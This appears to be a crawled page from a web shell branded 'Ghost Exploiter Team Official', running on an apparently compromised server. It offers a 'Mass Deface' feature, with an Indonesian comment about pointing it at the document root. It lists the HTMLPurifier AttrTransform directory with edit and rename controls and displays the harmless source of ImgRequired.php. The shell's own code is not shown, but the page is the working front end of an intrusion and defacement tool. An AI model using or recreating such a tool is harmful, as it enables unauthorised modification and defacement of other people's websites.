Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
ezyang
/
htmlpurifier
/
library
/
HTMLPurifier
/
AttrTransform
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Background.php
0.68KB
edt
ren
BdoDir.php
0.624KB
edt
ren
BgColor.php
0.656KB
edt
ren
BoolToCSS.php
1.062KB
edt
ren
Border.php
0.66KB
edt
ren
EnumToCSS.php
1.685KB
edt
ren
ImgRequired.php
1.3KB
edt
ren
ImgSpace.php
1.365KB
edt
ren
Input.php
1.563KB
edt
ren
Lang.php
0.836KB
edt
ren
Length.php
0.961KB
edt
ren
Name.php
0.789KB
edt
ren
NameSync.php
1.094KB
edt
ren
Nofollow.php
1.278KB
edt
ren
SafeEmbed.php
0.557KB
edt
ren
SafeObject.php
0.595KB
edt
ren
SafeParam.php
2.551KB
edt
ren
ScriptRequired.php
0.504KB
edt
ren
TargetBlank.php
1.173KB
edt
ren
TargetNoopener.php
0.998KB
edt
ren
TargetNoreferrer.php
1.008KB
edt
ren
Textarea.php
0.585KB
edt
ren
<?php // must be called POST validation /** * Transform that supplies default values for the src and alt attributes * in img tags, as well as prevents the img tag from being removed * because of a missing alt tag. This needs to be registered as both * a pre and post attribute transform. */ class HTMLPurifier_AttrTransform_ImgRequired extends HTMLPurifier_AttrTransform { /** * @param array $attr * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return array */ public function transform($attr, $config, $context) { $src = true; if (!isset($attr['src'])) { if ($config->get('Core.RemoveInvalidImg')) { return $attr; } $attr['src'] = $config->get('Attr.DefaultInvalidImage'); $src = false; } if (!isset($attr['alt'])) { if ($src) { $alt = $config->get('Attr.DefaultImageAlt'); if ($alt === null) { $attr['alt'] = basename($attr['src']); } else { $attr['alt'] = $alt; } } else { $attr['alt'] = $config->get('Attr.DefaultInvalidImageAlt'); } } return $attr; } } // vim: et sw=4 sts=4